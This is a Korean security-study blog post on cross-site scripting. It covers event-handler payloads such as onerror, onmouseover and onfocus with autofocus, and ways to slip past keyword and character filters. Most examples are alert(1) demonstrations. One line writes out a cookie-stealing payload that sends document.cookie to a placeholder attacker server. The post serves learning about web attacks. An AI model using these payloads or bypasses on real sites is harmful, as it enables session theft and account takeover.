KnockOn

[KnockOn] XSS 수행 방법과 XSS WAF Bypass

성밍쟁 2025. 1. 3. 18:21
728x90
반응형

프롤로그

XSS를 어떻게 더 수행할 수 있는가에 대한 내용과, XSS를 막기 위해 WAF 필터링을 하였을 때.... 이를 우회할 수 있는 방법

 

 

Event Handler XSS

HTML 태그의 이벤트 핸들러 속성(onclick, onmouseover, onload..등을 이용해서 자바스크립트를 실행하는 방법이다)

가장 대표적으로 많이 쓰이는 게 img인데

<img src="a.png" onerror=alert(1)>

이렇게 img src를 불러왔는데, a.png라는 파일이 없을 떄 처리하는 onerror가 수행될 떄, 저기에 자바스크립트를 집어넣어서 처리하는 방식이다.

 

저기에 악성코드를 심어놓으면? XSS 가 수행되게 된다.

 

다른 이벤트 핸들러들도 있다. onclick을 확인해보자

일반 게시판에다가

<button onclick="alert(1)">버튼 눌러라</button>

을 입력한 후에 게시글을 등록하면

이렇게 게시글에 웬 버튼이 하나 생성이 되고 저것을 클릭할 시에

우리가 작성한 스크립트 코드(onclick 태그에서 실행)이 실행된 것을 확인할 수 있다.

 

 

 

 

onerror event handler

EventHandler XSS의 가장 대표적인데 이 onerror event handler이다.

온에러. 이미지, 스크립트, 스타일시트 등 HTML요소가 로드되지 않거나 오류가 발생했을 떄 실행되는 이벤트 핸들러인데

<img src="a.png" onerror=alert(1)>

맨 처음에 소개했던 이 것이다.

이런식으로 게시판에다가 위 코드를 작성하고 저장하기 버튼을 누른후에 다시 해당 글에 접속을 해보자.

를 해보려고했는데...

올릴때마다 서버가 터진다.

뭔가 오류가 발생한다.

그래서

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=<device-width>, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <div>
        <h1>안녕</h1>
        <img src=1 onerror="alert(1)">
    </div>
    
</body>
</html>

visual live server를 파서 이걸로 실행해본 결과

이렇게 alert가 뜬 것을 확인할 수 있다.

다른 애들도 정상적으로 수행 되는데

        <audio><source src=1 herf=1 onerror="alert(1)"</audio>
        <audio><source src=1 herf=1 onerror="javascript:alert(1)"</audio>

이렇게 audio의 경우, 도 된다.

그리고 onerror 쓸 때 그냥 alert(1) 이렇게 해도 작동이 되고, javascript:alert(1) 이렇게 적어도 정상적으로 작동한다.

그 외에

        <!-- <img src="1" onerror=alert(1)> -->
        <audio><source src=1 herf=1 onerror="alert(1)"</audio>
        <audio><source src=1 herf=1 onerror="javascript:alert(1)"</audio>

        <video><source src=1 herf=1 onerror="alert(1)"</video>
        <video><source src=1 herf=1 onerror="javascript:alert(1)"</video>

        <image src="1" onerror=alert(1)/>

        <object data="1" herf="1" onerror="alert(1)"/>

        <script src=1 href=1 onerror="alert(1)"/>

        <body src="1" href="1" onerror="javascript:alert(1)"/>

video, audio, image, img, object, script, body이거 다 onerror 쓸 수 있다.

 

 

 

onMouse

바로 보이겠지만 마우스와 관련된 작업을 할 때 나오는 핸들러이다.

onmouseover : 사용자가 마우스를 요소 위에 올렸을 때

<div onmouseover="alert('XSS')">Hover over me</div>

onmousemove : 사용자가 요소 위에서 마우스를 움직일때

<div onmousemove="console.log('Mouse moved!')">Move your mouse here</div>

onmouseout : 사용자가 마우스를 요소 밖으로 이동했을 때

<div onmouseout="alert('Mouse left!')">Hover and leave</div>

각각 실행된다.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=<device-width>, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <div onmouseover="alert('XSS')" onmousemove="alert('XSS2')" onmouseout="alert('XSS3')">Hover over me</div>



</body>
</html>

이런식으로 코드 작성하고 실행했더니 계속 해서 XSS, XSS2, XSS3 알람창이 계속 뜨더라.

 

 

 

 

onLoad

요소가 로드될 때 실행된다. 이미지 불러올때 onerror 안 쓰고 onload 해도 수행이 될 수 있다.

<img src="1.jpg" onload="alert(1)">

 

 

 

onPopState

브라우저의 히스토리 상태(history state)가 변경될 때 실행되는 이벤트 리스너이다. 흔히 뒤로가기, 앞으로 가기 등을 눌렀을 때 발생하는 것이다.

<script>
  window.onpopstate = function() {
    alert('State changed!');
  };
</script>

이거인데

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>History API Demo</title>
</head>
<body>
  <button id="pushStateButton">Change State</button>
  <script>
    // onpopstate 이벤트 핸들러 등록
    window.onpopstate = function(event) {
      alert(`State changed to: ${JSON.stringify(event.state)}`);
    };

    // pushState 버튼 클릭 시 히스토리 상태 변경
    document.getElementById('pushStateButton').addEventListener('click', function() {
      history.pushState({ page: 1 }, 'Title', '?page=1');
      alert('State pushed: { page: 1 }');
    });
  </script>
</body>
</html>

이걸 수행하면

앞으로가기, 뒤로가기 버튼을 눌러도 스크립트가 실행된다.

 

 

 

onfocus + autofocus

onfocus는 HTML 요소가 포커스를 얻었을 때 발생하는 이벤트이다.

그리고 auto focus는 페이지가 로드될때 자동으로 특정 요소에 포커스를 설정하는 것이다.

흔히 말해서 tab키 눌렀을 때 아이디창에서 비번창 넘어가고, 로그인 버튼으로 넘어가는 그런 느낌이다. 그리고 autofocus는 로드되자마자 바로 해당 요소로 포커스 되게 만드는 거다.

이 autofocus는 하나만 적용가능하다.

이걸로 XSS를 어떻게 하냐?

<input type="text" onfocus="fetch('공격자서버?cookie='+document.cookie)">

이렇게 했을 때 실행되는거다

근데 autofocus설정이 되어있다면?

그냥 바로 포커스가 자동으로 설정되니까...탈취되는것이다.

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>onfocus vs autofocus</title>
</head>
<body>
  <form>
    <input type="text" autofocus placeholder="This field gets focus automatically"
           onfocus="console.log('Field is focused!')">
    <input type="password" placeholder="Enter your password">
  </form>
</body>
</html>

여기서 autofocus가 설정이 되어있는데

저기에 onfocus 후에 자바스크립트 작성하면?

그래도 탈취되는 것이다.

 

WAF bypass

XSS 도 SQL Injection처럼 해당 기법을 막기 위해 필터링을 해버린다. 이를 우회하기 위한 여러 가지 방법들이 있는데 각 상황별 우회방법들이다.

 

 

String filtering

문자열의 일부를 아예 못쓰게 막거나 대체하는 거다. 

 

1. replace string : 문자열 대체

문자열을 못쓰게 특정 값을 다른 값으로 변경했을 경우이다.

def xss_filter(text):
    _filter = ["script", "on", "javascript:"]
    for f in _filter:
        if f in text.lower():
            text = text.replace(f, "")
    return text

이렇게 설정되어있을 경우에, 

script, on, javascript: 단어는 공백으로 처리가 되어버린다.

이럴 때 

<scscriptript> , oonn javajavascriptscript: 

이런식으로 사용하면 필터링을 우회할 수 있다.

근데 위 코드에서 만약에

def xss_filter(text):
    _filter = ["script", "on", "javascript:"]
    for f in _filter:
        text = text.replace(f, "")
    return text

이런식으로 입력받은 값을 전부 소문자로 처리하거나 이런 코드가 없다면

<SCRIPT>, <sCRIPT> 이런식으로 대문자들을 넣어서 처리할 수도 있다.

 

 

2. vulnerable string check : 문자열을 체크할때

그냥 <script>이런 게 있는 거 확인한다면? 

def xss_filter(text):
    _filter = ["script", "on", "javascript:"]
    for f in _filter:
        return false
    return text

이렇게 있으면 위에서 말한 것처럼

<SCRIPT>, <sCRIPT> 이런식으로 대문자들을 넣어서 처리할 수도 있다.

 

 

3. 특정 태그 필터링

그다음

def xss_filter(text):
    _filter = ["<script", "<img", "<body"]
    for f in _filter:
        if f in text.lower():
            return False
    return text

이런식으로 태그들을 막아버린다면?

lower걸려있어서 script를 쓰지를 못한다. 그렇다면 아까 위에서 배운 onclick, onfocus + autofocus, onerror 등을 사용해서 사용할 수 있다.

 

 

 

4. URL normalization

아까 위에서 저렇게 script라는 단어를 필터링한다고 했을 때 그게 url에서 필터링할수도 있다.

근데 url에서는 브라우저에서 url사용하기 전에 특수문자를 제거하는 과정을 거치는데

sc\tript 이런식으로 사용해도 되고, \X, \U등으로 사용해도 된다.

 

 

 

 

 

special char filtering

다음은 특수한 문자를 필터링 하였을 때 우회하는 방법이다

 

1. .(dot) filtering

.을 막았을 경우.

기존에 

document.cookie;
location.href

이런것들은 []을 사용해서 우회할 수 있다

document['cookie']
location['href']

 

 

2. parentheses filtering

소괄호 필터링을 당했을 때인데, 

alert(1)

이게 막히면

alert `1`

이렇게 우회할 수 있다.

 

 

3. quote filtering

32진수로 바꾸거나

alert.toString() 이렇게 배열로 만들어서 하나하나씩 원하는 문자 뽑아내거나.... ().toString(32)로 32진수로 만들어서 해도 된다.

 

 

 

 

에필로그

실습할 수 있는 방법이 없다보니까 실습해볼려고 노력을 해봤는데 이 셀레니움이 문제였다. 드림핵이든...뭐든..

그냥 지금 드는 생각은 이렇게 정리해보는 것보단 문제 풀이가 더 우선이지 않을까싶다.

 

 

 

 

728x90
반응형